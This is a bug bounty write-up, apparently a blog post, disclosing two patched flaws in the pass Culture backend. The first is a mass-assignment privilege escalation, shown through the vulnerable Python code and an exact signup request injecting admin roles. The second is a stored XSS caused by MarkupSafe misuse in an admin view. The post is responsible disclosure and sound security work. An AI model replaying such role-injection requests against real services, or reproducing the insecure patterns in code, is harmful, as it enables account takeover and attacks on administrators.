Disclaimer : this exploitation was realized in a legal context of a Bug Bounty. The disclosure of the information contained in this article was made with the agreement of pass Culture and comes after a patch.
The Bug Bounty program is not public and participation is only possible after contracting with YesWeHack and invitation by pass Culture.
Using the account creation mechanism, it was possible to obtain an account with privileged rights from a Mass Assignment. From this privileged account, the injection of a payload allowed to realize a Stored XSS within the administration panel impacting an administrator account.
For the launch of the French government initiative allowing access to culture for the youngest, the public service « pass Culture » was able to launch a Bug Bounty program to audit its application.
The pass Culture service allows young people, from 15 years old, to access a catalog of offers of shows, books, musical instruments and other digital services for a budget of up to 300€.
Following my first article on a Stored XSS found on this program, I continued to analyze the source code of the application.
While exploring the different routes of the API, I find an endpoint allowing the creation of a “beneficiary” account which seems deprecated.
Indeed, a more recent main endpoint is provided for the creation of “beneficiary” and “professional” type accounts.
# @debt api-migration
@private_api.route("/users/signup/webapp", methods=["POST"])
@feature_required(FeatureToggle.WEBAPP_SIGNUP)
def signup_webapp():
objects_to_save = []
check_valid_signup_webapp(request)
new_user = User(from_dict=request.json)
new_user.email = sanitize_email(new_user.email)
[...]
new_user.remove_admin_role()
new_user.remove_beneficiary_role()
new_user.isEmailValidated = True
new_user.needsToFillCulturalSurvey = False
new_user.hasSeenTutorials = True
objects_to_save.append(new_user)
repository.save(*objects_to_save)
update_external_user(new_user)
return jsonify(as_dict(new_user, includes=BENEFICIARY_INCLUDES)), 201
I notice that the user input of this endpoint is directly injected into a database model User
and then some attributes are modified before insertion into the database.
Here we have a bad practice: the application creates a new database object with all the data provided as input and then removes the sensitive attributes. Therefore, in case of source code evolution, if a new role is added and it is not checked, this could create a vulnerability.
Let’s analyze the different possible roles in a database:
class UserRole(enum.Enum):
ADMIN = "ADMIN"
BENEFICIARY = "BENEFICIARY"
PRO = "PRO"
# TODO(bcalvez) : remove this role as soon as we get a proper identification mecanism in F.A.
JOUVE = "JOUVE"
UNDERAGE_BENEFICIARY = "UNDERAGE_BENEFICIARY"
class User(PcObject, Model, NeedsValidationMixin):
__tablename__ = "user"
email = sa.Column(sa.String(120), nullable=False, unique=True)
[...]
isAdmin = sa.Column(
sa.Boolean,
sa.CheckConstraint(
(
f'NOT (({ UserRole.BENEFICIARY }=ANY("roles") OR { UserRole.UNDERAGE_BENEFICIARY }=ANY("roles")) '
f'AND { UserRole.ADMIN }=ANY("roles"))'
),
name="check_admin_is_not_beneficiary",
),
nullable=False,
server_default=expression.false(),
default=False,
)
[...]
roles = sa.Column(
MutableList.as_mutable(postgresql.ARRAY(sa.Enum(UserRole, native_enum=False, create_constraint=False))),
nullable=False,
server_default="{}",
)
def remove_admin_role(self) -> None:
self.isAdmin = False
if self.has_admin_role: # pylint: disable=using-constant-test
self.roles.remove(UserRole.ADMIN)
@hybrid_property
def has_admin_role(self) -> bool:
return UserRole.ADMIN in self.roles or self.isAdmin if self.roles else self.isAdmin
Firstly, I notice that two rights mechanisms coexist: an isAdmin
boolean and a roles
array containing values from the UserRole
enumeration.
"ADMIN"
contained in the array roles
or the boolean isAdmin
to true
, if this array is empty.Secondly, the role JOUVE
seems to exist but is not part of the list of attributes checked during the creation of an account.
From this source code review, I can make several assumptions:
JOUVE
role.I deploy a local instance with deployment via docker-compose provided by pass Culture to confirm my assumptions.
So I inject the role JOUVE
but also the role ADMIN
just to be sure :
POST /users/signup/webapp HTTP/2
Host: backend.staging.passculture.team
Accept: application/json
Content-Type: application/json
Content-Length: 205
{
"email": "notmyemail@example.com",
"password": " p/q2-q4!",
"publicName": "Aethlios-PoC",
"contact_ok": true,
"roles": ["JOUVE", "ADMIN"]
}
HTTP/2 201 Created
Content-Type: application/json
Content-Length: 819
Access-Control-Allow-Origin: https://app.passculture-staging.beta.gouv.fr
Access-Control-Allow-Credentials: true
Vary: Origin
X-Frame-Options: SAMEORIGIN
X-Content-Type-Options: nosniff
X-Xss-Protection: 1; mode=block
Strict-Transport-Security: max-age=15724800; includeSubDomains
{
"dateCreated": "2021-11-21T02:33:06.497584Z",
"email": "notmyemail@example.com",
"publicName": "Aethlios-PoC",
"roles": ["JOUVE", "ADMIN"]
}
My assumptions were confirmed!
But an unexpected behavior was also found: in addition to the JOUVE
role, the ADMIN
role is also injected.
I check if I have access to the administration panel: it is not the case. But it’s not over yet.
Since the two role mechanisms coexist, the evolution of the source code from the first mechanism to the second is only partial. Thus, only certain features - the most recent - that use the has_admin_role
function are accessible.
Thus, with this partial administrator account, I am able to leak sensitive data:
But why do I manage to define the administrator role when the source code seems to control it?
After many tests, I conclude that the root cause is the dynamic typing of Python :
UserRole
and I inject a string "ADMIN"
into the roles
array. Thus, the source code removes the enumeration from the array, but not the string. Whereas in the database, these two types will be represented in the same way, via a string. Indeed, the enumeration of the role array is set with the native_enum
flag.To verify my hypothesis, I modified the source code locally and then injected the string "ADMIN"
into the array roles
:
# @debt api-migration
@private_api.route("/users/signup/webapp", methods=["POST"])
@feature_required(FeatureToggle.WEBAPP_SIGNUP)
def signup_webapp():
objects_to_save = []
check_valid_signup_webapp(request)
new_user = User(from_dict=request.json)
new_user.email = sanitize_email(new_user.email)
print(new_user.roles)
new_user.remove_admin_role()
print(new_user.roles)
new_user.add_admin_role()
print(new_user.roles)
new_user.remove_admin_role()
print(new_user.roles)
pc-flask | ['ADMIN']
pc-flask | ['ADMIN']
pc-flask | ['ADMIN', <UserRole.ADMIN: 'ADMIN'>]
pc-flask | ['ADMIN']
With this role, however, I have access to the full range of features.
This role allows a user to interact with the service Jouve responsible for the automated verification of user identities.
Thus, I do not have direct access to the user identity documents with this role, but I am able to validate a user as well as request a new validation from the Jouve service on an already verified user.
While analyzing the source code to determine the features specific to a Jouve account, I find a strangely familiar piece of code…
def beneficiary_fraud_review_formatter(view, context, model, name) -> Markup:
result_mapping_class = {
fraud_models.FraudReviewStatus.OK: "badge-success",
fraud_models.FraudReviewStatus.KO: "badge-danger",
fraud_models.FraudReviewStatus.REDIRECTED_TO_DMS: "badge-secondary",
}
if model.beneficiaryFraudReview is None:
return Markup("""<span class="badge badge-secondary">inconnu</span>""")
return Markup(
f"<div><span>{model.beneficiaryFraudReview.author.firstName} {model.beneficiaryFraudReview.author.lastName}</span></div>"
f"""<span class="badge {result_mapping_class[model.beneficiaryFraudReview.review]}">{model.beneficiaryFraudReview.review.value}</span>"""
)
Those who have read my first article will have recognized a misuse of the MarkupSafe
library allowing a Stored XSS.
Jouve accounts can create a fraud review on a beneficiary account. By injecting a JS payload into the first or last name of the account, the Stored XSS can be triggered.
Any administrator accessing this page will trigger this Stored XSS.
Despite the fix of the first Stored XSS as well as the global fix on the use of the MarkupSafe
library, a misuse seems to have appeared afterwards during the evolution of the source code.
# @debt api-migration
@private_api.route("/users/signup/webapp", methods=["POST"])
@feature_required(FeatureToggle.WEBAPP_SIGNUP)
def signup_webapp():
[...]
if settings.IS_INTEGRATION:
objects_to_save.append(payments_api.create_deposit(new_user, "test"))
else:
authorized_emails, departement_codes = get_authorized_emails_and_dept_codes(ttl_hash=get_ttl_hash())
departement_code = _get_departement_code_when_authorized_or_error(authorized_emails, departement_codes)
new_user.departementCode = departement_code
[...]
return jsonify(as_dict(new_user, includes=BENEFICIARY_INCLUDES)), 201
The creation of a new user has three conditions:
The first condition can be easily bypassed, but the second one requires to know the content of this white list.
However, I was able to reproduce in the pre-production environment using the email address of one of the pass Culture contacts I was able to exchange with to get my accounts. It can be considered that an attacker could use OSINT to create a list of pass Culture staff emails in order to find out one of the emails belonging to this white list.
Accepted CVSS : CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N aka 8.7 (High)
Suggested and accepted CVSS : CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H aka 9.1 (Critical)
For this first vulnerability, the pass Culture team decided, as soon as the report was received, to disable the account creation feature in the production environment to prevent any malicious exploitation, and then to simply remove this deprecated part of the code:
For the Stored XSS, a fix similar to the patch implemented on the first XSS has been deployed:
In addition to this fix, preventive measures have been implemented using PyLint to prevent possible recurrences:
Reading source code to find vulnerabilities is fun. But that’s only one aspect of finding vulnerabilities.
Indeed, without using the black-box research, I would never have found out that it was possible to inject the administrator role into the created account. Reading the source code only put me on the good way.
Thus, the source code review must be used as a basis for understanding how the application works, but the search for vulnerabilities must not be limited to reading the source code to find them. Black-box and white-box are complementary.
Moreover, if a vulnerability is present in the source code, it should probably exist elsewhere. Let’s be patient with the correction of the vulnerabilities already submitted. Once the first vulnerability is fixed, we can consider with certainty that this second vulnerability is not a duplicate.
Don’t hesitate to look for vulnerabilities in whitebox programs, it’s slow, but it’s instructive and it learns to develop better.